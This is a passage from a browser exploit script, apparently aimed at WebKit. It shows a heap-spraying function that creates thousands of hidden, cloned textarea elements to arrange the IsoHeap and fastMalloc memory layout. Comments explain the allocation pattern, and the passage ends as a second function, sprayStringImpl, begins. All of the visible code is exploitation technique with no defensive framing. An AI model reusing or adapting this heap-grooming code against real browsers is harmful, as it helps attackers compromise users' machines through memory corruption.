| 475 | |
| 476 | /* HTMLElement spray */ |
| 477 | function sprayHTMLTextArea() { |
| 478 | debug_log("[+] Spraying HTMLTextareaElement ..."); |
| 479 | |
| 480 | let textarea_div_elem = document.createElement("div"); |
| 481 | document.body.appendChild(textarea_div_elem); |
| 482 | textarea_div_elem.id = "div1"; |
| 483 | var element = document.createElement("textarea"); |
| 484 | |
| 485 | /* Add a style to avoid textarea display */ |
| 486 | element.style.cssText = 'display:block-inline;height:1px;width:1px;visibility:hidden;'; |
| 487 | |
| 488 | /* |
| 489 | * This spray is not perfect, "element.cloneNode" will trigger a fastMalloc |
| 490 | * allocation of the node attributes and an IsoHeap allocation of the |
| 491 | * Element. The virtual page layout will look something like that: |
| 492 | * [IsoHeap] [fastMalloc] [IsoHeap] [fastMalloc] [IsoHeap] [...] |
| 493 | */ |
| 494 | for (let i = 0; i < SPRAY_ELEM_SIZE; i++) |
| 495 | textarea_div_elem.appendChild(element.cloneNode()); |
| 496 | } |
| 497 | |
| 498 | /* StringImpl Spray */ |
| 499 | function sprayStringImpl(start, end) { |